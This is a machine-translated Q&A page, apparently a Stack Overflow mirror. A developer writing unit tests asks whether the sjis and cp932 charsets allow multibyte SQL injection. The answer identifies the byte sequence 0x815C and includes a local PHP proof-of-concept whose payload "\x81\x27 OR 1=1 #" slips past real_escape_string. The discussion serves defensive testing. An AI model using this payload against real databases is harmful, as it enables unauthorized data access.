如何使用Shift-JIS和CP932创buildSQL注入攻击?

我正在写一些unit testing,以确保我的代码不容易在各种字符集下的SQL注入。

根据这个答案 ,您可以通过使用以下字符集之一注入\xbf\x27来创build漏洞: big5cp932gb2312gbksjis

这是因为如果您的助手configuration不正确,它会看到0x27并尝试转义它,使其成为\xbf\x5c\x27 。 但是, \xbf\x5c实际上这些字符\xbf\x5c一个字符,因此引号( 0x27\xbf\x5c转义。

但是,正如我通过testing发现的,这不完全正确。 它适用于big5gb2312gbk但在sjiscp932都不是0xbf27cp932

 mb_strpos("abc\xbf\x27def","'",0,'sjis') 

 mb_strpos("abc\xbf\x27def","'",0,'cp932') 

返回4 。 即PHP不会将\xbf\x27看作单个字符。 这将返回falsebig5gb2312gbk

另外,这个:

 mb_strlen("\xbf\x5c",'sjis') 

返回2 (它为gbk返回1 )。

所以,问题是:是否有另一个字符序列,使sjiscp932容易受到SQL注入,或者他们实际上不是脆弱的? 或者说是PHP说谎,我完全错了,MySQL会完全不同的解释?

魔鬼是在细节…让我们开始讨论如何回答有关易受攻击的字符集列表:

为了使这种攻击起作用,我们需要服务器在连接上预期的编码'如ASCII码0x27 ,最后一个字节是ASCII码,即0x5c 。 事实certificate,MySQL 5.6默认支持5种这样的编码: big5cp932gb2312gbksjis我们将在这里selectgbk

这给了我们一些上下文 – 0xbf5c被用作gbk一个例子,而不是所有5个字符集的通用字符。
恰恰相同的是,相同的字节序列也是big5gb2312下的有效字符。

在这一点上,你的问题变得如此简单:

哪个字节序列是cp932sjis下的有效字符,结束于0x5c

公平的说,我为这些字符集尝试的大多数谷歌search没有给出任何有用的结果。 但是我find了这个CP932.TXT文件 ,其中如果你search'5c ' (有空格),你会跳到这一行:

0x815C 0x2015 #HORIZONTAL BAR

我们有一个赢家! 🙂

有些Oracle文档确认0x815c对于cp932sjis 0x815c是相同的字符,PHP也可以识别它:

 php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis")); int(1) int(1) 

这是一个攻击的PoC脚本:

 <?php $username = 'username'; $password = 'password'; $mysqli = new mysqli('localhost', $username, $password); foreach (array('cp932', 'sjis') as $charset) { $mysqli->query("SET NAMES {$charset}"); $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}"); $mysqli->query("USE {$charset}_db"); $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)"); $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')"); $input = "\x81\x27 OR 1=1 #"; $input = $mysqli->real_escape_string($input); $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1"; $result = $mysqli->query($query); if ($result->num_rows > 1) { echo "{$charset} exploit successful!\n"; } $mysqli->query("DROP DATABASE {$charset}_db"); }